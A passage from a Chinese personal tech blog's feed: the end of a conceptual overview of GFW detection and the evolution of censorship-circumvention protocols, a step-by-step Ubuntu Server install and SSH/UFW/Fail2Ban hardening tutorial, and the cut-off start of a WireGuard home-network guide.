<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>DoT(DNS over TLS)</strong>：类似,但用专门的 853 端口（反而容易被端口封锁，所以 DoH 更流行）</li>
</ul>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">12.端口封锁 &amp; 协议白名单</h5>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>端口封锁</strong>：直接封某些端口，比如 DoT 的 853、某些 VPN 的固定端口。所以翻墙协议大多躲在 443(HTTPS 端口)后面——因为封 443 等于封掉全网 HTTPS，代价太大，GFW 不敢</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>这解释了一个现象</strong>：为什么几乎所有现代翻墙协议都伪装成 443 上的 TLS 流量？因为 <strong>443 是"不能封的港湾"，</strong>挤进去就获得了"投鼠忌器"的保护</li>
</ul>
<h5>说完了一些常见的 GFW 的检测手段的技术名词，接下来我们来探讨一下，翻墙协议演化史</h5>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">第 0 代:VPN(PPTP / L2TP / OpenVPN / IPsec)</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>思路</strong>:建一条加密隧道,所有流量走隧道出境<br><strong>破绽</strong>:VPN 协议有<strong>明显固定的握手特征和固定端口</strong>。OpenVPN 的握手、IPsec 的特征,GFW 的 DPI 一看一个准<br><strong>结局</strong>:特征太明显,容易被批量识别封锁。于是需要"看起来不像 VPN"的东西</p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">第 1 代:Shadowsocks(SS)—— "让流量看起来像随机噪音"</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>思路</strong>:不做"隧道",而是一个加密的 SOCKS 代理。核心创新是<strong>从第一个字节就全加密,没有任何明文握手特征</strong>。GFW 想找指纹?没有指纹给你找<br><strong>GFW 的反击</strong>:既然找不到"像 SS 的特征",那就反过来找"<strong>不像任何正常协议</strong>的特征——全加密 = 高熵随机流(就是上一轮讲的 fet)。再配合<strong>主动探测</strong>:看到可疑全加密流,主动连过去试探,SS 服务器对畸形包的响应模式暴露了自己<br><strong>结局</strong>:SS 被"全加密流量检测 + 主动探测"两面夹击,大量 IP 被封。<strong>教训:太干净的随机性,本身就是一种指纹</strong></p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">第 2 代:混淆插件(obfs / simple-obfs / v2ray 的 mKCP 等)</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>思路</strong>:既然"纯随机"暴露,那就给 SS 套个壳,伪装成别的东西。比如 <strong>obfs 把流量伪装成普通 HTTP 或 TLS</strong>,让开头有点"正常协议的样子"<br><strong>破绽</strong>:伪装得不够真。伪装成 TLS,但 TLS 握手细节(证书、扩展字段)经不起细看;而且<strong>这些伪装本身又成了新指纹</strong>(GFW 学会认"假 TLS")<br><strong>结局</strong>:一时管用,但伪装和真实之间总有缝,DPI 精细化后逐渐失效</p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">第 3 代:Trojan —— "干脆用真的 TLS,别伪装了"</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>思路</strong>:一个反直觉的聪明想法——<strong>不要"伪装成 TLS",而是"就用真正的 TLS"</strong>。Trojan 服务器就是一个<strong>真的 HTTPS 网站</strong>(有真实域名、真实证书)。翻墙流量披着完全合法的 TLS 外衣;<strong>如果有人(或 GFW)不带正确密码来访问,服务器就给他看一个真实的正常网页</strong>,表现得和普通网站毫无区别<br><strong>破绽</strong>(也是你场景B 的核心):</p>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2">Trojan 虽然用真 TLS,但<strong>它的 SNI 用的是你自己的域名</strong>——这个域名没有真实网站的访问历史、没有名气,GFW 可以针对"连向冷门小域名的 TLS + 流量特征"下手</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">内层 payload 结构仍有一定可识别性(所以 OpenGFW 有 Trojan analyzer 能启发式认它)</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">依赖你<strong>自己买域名</strong>,域名一旦被标记就完了<br><strong>结局</strong>:比前几代强很多,但"用自己的域名"是软肋。下一代要解决的就是这个</li>
</ul>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">第 4 代:VLESS + XTLS + Reality —— "偷用别人的真域名"</h5>
<p class="font-claude-response-body break-words whitespace-normal">这是你场景C 的主角,分三个词拆:</p>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>VLESS</strong>:一个<strong>轻量的传输协议</strong>,本身不加密(把加密交给外层 TLS 负责),减少冗余特征。可以理解成"更干净的 Trojan 内核"</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>XTLS</strong>:一种优化,让加密不做两遍(避免 TLS 套 TLS 的性能损耗和特征),这里不用深究</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>Reality</strong>(最关键):解决 Trojan"得用自己域名"的死穴</li>
</ul>
<p class="font-claude-response-body break-words whitespace-normal"><strong>Reality 的核心魔法：</strong>它<strong>不需要你买域名、不需要你自己的证书</strong>。它在 TLS 握手时,<strong>直接借用一个真实知名大站(如 microsoft.com)的握手和证书</strong>——你的 SNI 显示成 microsoft.com,证书也是微软的真证书(因为握手被转发给了真的微软)</p>
<p class="font-claude-response-body break-words whitespace-normal">对 GFW 来说：</p>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>看 SNI</strong>:是 microsoft.com，正常大站，不敢封(封了误伤全国访问微软)</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>主动探测</strong>：GFW 伪装成客户端来连你的 VPS 试探你的服务器<strong>把它当成不认识的访客，直接把它的握手转发给真正的 microsoft.com，</strong>让它看到一个<strong>货真价实的微软网站</strong>。GFW 探测的结果是"这就是个访问微软的正常服务器"，无从下手</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">只有<strong>握手中带了正确密钥的真实用户</strong>，服务器才切换到翻墙模式</li>
</ul>
<p class="font-claude-response-body break-words whitespace-normal"><strong>这就是为什么 Reality 目前很难被识别</strong>:它同时骗过了<strong>被动检测</strong>(SNI、证书、指纹全正常)和<strong>主动探测</strong>(探测者看到真微软)。这是当前攻防的前沿</p>
<h5>把演化串成一句话</h5>
<pre class="language-markdown line-numbers"><code>VPN:有明显特征        → 被指纹识别封
SS:全加密无特征       → 被"全加密=高熵"和主动探测封
obfs:伪装成正常协议   → 伪装不够真,又成新指纹
Trojan:用真 TLS      → 但用自己冷门域名,是软肋
Reality:偷真站门面    → 被动/主动探测都正常,当前最难识别</code></pre>
<p class="font-claude-response-body break-words whitespace-normal"><strong>贯穿始终的博弈逻辑：</strong></p>
<ol class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-decimal flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2">翻墙方想让流量"看起来正常"</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">GFW 就找"什么叫不正常"的特征</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">每一次"藏"的方式,都可能变成新的"特征"</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">直到 Reality 想通——<strong>与其自己造一个"正常",不如直接借用一个真实的正常</strong></li>
</ol>
<p>下面我总结了一个目前比较常见的协议图，可供参考</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/58/Ping-Mu-Jie-Tu-2026-07-02-223130.png" alt="" width="1671" height="630" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/58/responsive/Ping-Mu-Jie-Tu-2026-07-02-223130-xs.webp 320w ,https://old.zeyun.org/media/posts/58/responsive/Ping-Mu-Jie-Tu-2026-07-02-223130-sm.webp 480w ,https://old.zeyun.org/media/posts/58/responsive/Ping-Mu-Jie-Tu-2026-07-02-223130-md.webp 768w ,https://old.zeyun.org/media/posts/58/responsive/Ping-Mu-Jie-Tu-2026-07-02-223130-xl.webp 1024w"></figure>
<p class="align-center"><strong>免责与说明</strong><br>本表格是为帮助理解"翻墙协议演化"而做的<strong>教学性归纳</strong>，服务于本篇文章的技术讨论，不构成任何使用建议，抗审查技术处于持续对抗中，未来实际情况可能与此不同，阅读时请结合协议官方文档与最新研究判断</p>
<h6 class="align-center">相信看完这些，你会对于 GFW 有一个清晰的理解</h6>
            ]]>
        </content>
    </entry>
    <entry>
        <title>云服务器的安全加固</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/security_enhancement_of-cloud_servers.html"/>
        <id>https://old.zeyun.org/security_enhancement_of-cloud_servers.html</id>
            <category term="Linux学习笔记"/>

        <updated>2026-05-02T20:58:22+09:00</updated>
            <summary>
                <![CDATA[
                    买了云服务器，第一件事不是装软件，而是把安全基础打好 很多人拿到服务器就直接开始装宝塔、建网站，结果没多久就被扫描爆破（轻则跑满带宽，重则数据全丢）本文整理了一套适用于 Ubuntu Server 的安全加固流程，按步骤做完基本能挡住绝大多数自动化攻击&hellip;
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">买了云服务器，第一件事不是装软件，而是<strong>把安全基础打好</strong></p>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">很多人拿到服务器就直接开始装宝塔、建网站，结果没多久就被扫描爆破（轻则跑满带宽，重则数据全丢）本文整理了一套适用于 Ubuntu Server 的安全加固流程，按步骤做完基本能挡住绝大多数自动化攻击</p>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]"><strong>实验环境：</strong> Ubuntu Server 22.04.5 LTS（推荐版本，兼容性最好）</p>
<pre class="language-bash line-numbers"><code>Ubuntu 的版本命名
├── 按"有没有图形界面"分
│   ├── Desktop 版  → 有桌面，给普通电脑用
│   └── Server 版   → 纯命令行，给服务器用
│
└── 按"支持周期"分
    ├── LTS 版      → 长期支持，5年维护
    └── 普通版      → 只维护9个月</code></pre>
<p>Ubuntu镜像下载：<a href="https://ubuntu.com/download/server/thank-you?version=22.04.5&amp;architecture=amd64&amp;lts=true" target="null">点我跳转</a></p>
<p>之前演示了安装Ubuntu Desktop版本（<a href="https://old.zeyun.org/install_ubuntu.html" target="_blank" rel="noopener noreferrer">点我跳转</a>）</p>
<p>现在我将演示一下如何从零安装没有图形化版本的 Ubuntu Server 22.04.5 LTS</p>
<p>*由于我是本地安装，所以没有ssh连接的这个步骤（正常你选择购买云服务器的话，通常是安装好的版本，可直接跳转至后半段的安全加固的部分）</p>
<h5>第一步：选择<code>Try or Install Ubuntu Server</code></h5>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-221214.png" alt="" width="1766" height="979" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-221214-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-221214-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-221214-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-221214-xl.webp 1024w"></figure>
<h5>第二步：选择界面为<code>English</code></h5>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-222252.png" alt="" width="1566" height="974" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222252-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222252-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222252-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222252-xl.webp 1024w"></figure>
<h5>第三步：键盘选择默认的<code>English</code>，这里是<code>Done</code>，点击继续</h5>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-222339.png" alt="" width="1565" height="978" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222339-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222339-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222339-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222339-xl.webp 1024w"></figure>
<h5>第四步：保持 (X) Ubuntu Server （已经选中即可），不要勾 "Ubuntu Server (minimized)"（那个是极简版，功能少），不要勾 "Search for third-party drivers"（我们不需要）</h5>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-222506.png" alt="" width="1569" height="980" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222506-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222506-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222506-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222506-xl.webp 1024w"></figure>
<h5>第五步：配置IP地址（由于我是虚拟环境，所以我这里需要手动配置IP地址）如果你买的VPS云服务器，那么这个IP/DNS是默认给你配好的，千万不要改动！</h5>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-222723.png" alt="" width="1569" height="979" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222723-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222723-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222723-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222723-xl.webp 1024w"></figure>
<h6>我这里需要手动配置IP地址（仅供参考）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-223249.png" alt="" width="1573" height="979" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223249-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223249-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223249-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223249-xl.webp 1024w"></figure>
<h5>第六步：代理配置（这里我们不需要配置代理，所以留空，直接选择<code>Done</code>即可）</h5>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-223335.png" alt="" width="1565" height="981" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223335-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223335-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223335-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223335-xl.webp 1024w"></figure>
<h5>第七步：配置源（这里我就默认选择官方的源了，后续可换的）这里直接选择<code>Done</code>下一步即可</h5>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-223458.png" alt="" width="1563" height="974" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223458-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223458-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223458-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223458-xl.webp 1024w"></figure>
<h6>这里是我网段设置的缘故，直接选择<code>Continue</code>即可</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-223711.png" alt="" width="1569" height="980" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223711-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223711-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223711-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223711-xl.webp 1024w"></figure>
<h5>第八步：磁盘分区选项</h5>
<h6 dir="auto">和我一样，把 (X) Use an entire disk → 保留（使用整块磁盘），(X) Use an entire disk → 保留（使用整块磁盘）打上 X 即可</h6>
<ul>
<li><strong>不要勾</strong> Encrypt with LUKS（加密）——除非你特别需要加密，否则不要选</li>
<li><strong>不要选</strong> Custom storage layout</li>
</ul>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224041.png" alt="" width="1559" height="972" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224041-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224041-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224041-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224041-xl.webp 1024w"></figure>
<h6 dir="auto">最终的磁盘分区确认界面（选择<code>Done</code>即可）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224115.png" alt="" width="1571" height="972" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224115-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224115-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224115-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224115-xl.webp 1024w"></figure>
<p>这个弹窗选择<code>Continue</code>即可（最终确认界面）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224253.png" alt="" width="1570" height="970" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224253-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224253-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224253-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224253-xl.webp 1024w"></figure>
<h4>第九步：配置用户名和密码</h4>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224438.png" alt="" width="1565" height="971" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224438-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224438-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224438-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224438-xl.webp 1024w"></figure>
<h4>第十步：不要选择Ubuntu Pro服务，只需勾选这下面的即可</h4>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/installubuntu1.png" alt="" width="1561" height="972" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/installubuntu1-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/installubuntu1-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/installubuntu1-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/installubuntu1-xl.webp 1024w"></figure>
<h4>第十一步：安装远程SSH工具</h4>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/2.png" alt="" width="1570" height="974" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/2-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/2-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/2-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/2-xl.webp 1024w"></figure>
<h4>第十二步骤：等待系统完成安装</h4>
<h6 dir="auto">不需要操作，耐心等待 即可（通常需要 5-15 分钟，取决于网速）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224958.png" alt="" width="1561" height="974" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224958-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224958-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224958-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224958-xl.webp 1024w"></figure>
<h4>安全加固部分如下</h4>
<h5>第一步：更新系统软件包</h5>
<pre class="language-bash line-numbers"><code>sudo apt update &amp;&amp; sudo apt upgrade -y</code></pre>
<h5 class="text-text-100 mt-2 -mb-1 text-base font-bold">第二步：SSH 安全加固（最重要）</h5>
<h6 class="font-claude-response-body break-words whitespace-normal leading-[1.7]"><strong>2.1 创建普通用户，禁止 root 直接登录</strong></h6>
<pre class="language-bash line-numbers"><code># 创建新用户
adduser yourname
# 加入 sudo 组
usermod -aG sudo yourname</code></pre>
<h6 class="font-claude-response-body break-words whitespace-normal leading-[1.7]"><strong>2.2 配置 SSH 密钥登录</strong></h6>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">在你的 <strong>本地电脑</strong>（Windows）上生成密钥对：</p>
<pre class="language-bash line-numbers"><code>ssh-keygen -t ed25519 -C "your-server"
# 默认生成在 C:\Users\你的用户名\.ssh\id_ed25519</code></pre>
<p>把公钥上传到服务器：</p>
<pre class="language-bash line-numbers"><code># 在服务器上，切换到新用户
su - yourname
mkdir -p ~/.ssh &amp;&amp; chmod 700 ~/.ssh
# 把你本地的 id_ed25519.pub 内容粘贴进来
nano ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys</code></pre>
<h6>2.3 修改 SSH 配置</h6>
<pre class="language-bash line-numbers"><code>nano /etc/ssh/sshd_config</code></pre>
<p>需要修改或确认的关键项：</p>
<pre class="language-bash line-numbers"><code>Port 22222          # 改成非标准端口（减少扫描骚扰）
PermitRootLogin no  # 禁止 root 登录
PasswordAuthentication no  # 禁止密码登录（配好密钥后再改）
MaxAuthTries 3</code></pre>
<p>改完重启 SSH（<strong>先不要断开当前连接，开一个新窗口测试</strong>）：</p>
<pre class="language-bash line-numbers"><code>systemctl restart sshd</code></pre>
<h5>第三步：配置防火墙 UFW</h5>
<pre class="language-bash line-numbers"><code>apt install ufw -y

# 先允许你的新 SSH 端口，再启用！顺序很重要
ufw allow 22222/tcp   # 替换成你设的端口
ufw allow 80/tcp      # 如果有 Web 服务
ufw allow 443/tcp

ufw enable
ufw status</code></pre>
<h5>第四步：安装 Fail2Ban（防爆破）</h5>
<pre class="language-bash line-numbers"><code>apt install fail2ban -y
systemctl enable fail2ban
systemctl start fail2ban</code></pre>
<p>基础配置已经够用，它会自动监控 SSH 登录失败并封 IP</p>
<h5>第五步：关闭不需要的服务</h5>
<pre class="language-bash line-numbers"><code># 查看当前监听的端口
ss -tlnp
# 查看运行的服务
systemctl list-units --type=service --state=running</code></pre>
<p>看到不需要的服务就 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">systemctl disable --now 服务名</code></p>
            ]]>
        </content>
    </entry>
    <entry>
        <title>使用 WireGuard 实现家庭网络跨网段访问</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/use_wireguard_home_to_home.html"/>
        <id>https://old.zeyun.org/use_wireguard_home_to_home.html</id>
            <category term="网络工具介绍"/>
            <category term="Linux学习笔记"/>

        <updated>2026-05-02T16:56:26+09:00</updated>
            <summary>
                <![CDATA[
                    环境说明： 使用ImmortalWrt 24.10.5 作为内网网关（使用家庭路由器下发的固定IP） 家庭内网&hellip;
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <h4>环境说明：</h4>
<ul>
<li>使用ImmortalWrt 24.10.5 作为内网网关（使用家庭路由器下发的固定IP）</li>
<li>家庭内网 WiFi 网段是 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">192.168.31.0/24</code></li>
<li>虚拟机内网网段是 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">10.10.10.0/24</code></li>
<li>目标是在家庭网段直接通过VPN拨号进内网虚拟机</li>
</ul>
<h4>实现思路：</h4>
<pre class="language-bash line-numbers"><code>笔记本 (10.10.20.2)
  ↓ WireGuard 加密隧道
ImmortalWrt wg0 (10.10.20.1)
  ↓ 路由转发（经过 eth1: 10.10.10.1）
虚拟机网段 (10.10.10.x)</code></pre>
<p>注意这里有<strong>三个网段</strong>，不要搞混</p>
<table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal" style="width: 100%; height: 195.75px;">
<thead class="text-left">
<tr style="height: 48.5625px;">
<th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" style="width: 35.5536%; height: 48.5625px;" scope="col">网段</th>
<th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" style="width: 64.304%; height: 48.5625px;" scope="col">用途</th>
</tr>
</thead>
<tbody>
<tr style="height: 49.0625px;">
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top" style="width: 35.5536%; height: 49.0625px;"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">192.168.31.0/24</code></td>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top" style="width: 64.304%; height: 49.0625px;">家庭 WiFi，路由器的外网侧</td>
</tr>
<tr style="height: 49.0625px;">
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top" style="width: 35.5536%; height: 49.0625px;"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">10.10.10.0/24</code></td>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top" style="width: 64.304%; height: 49.0625px;">PVE 虚拟机内网（最终访问的）</td>
</tr>
<tr style="height: 49.0625px;">
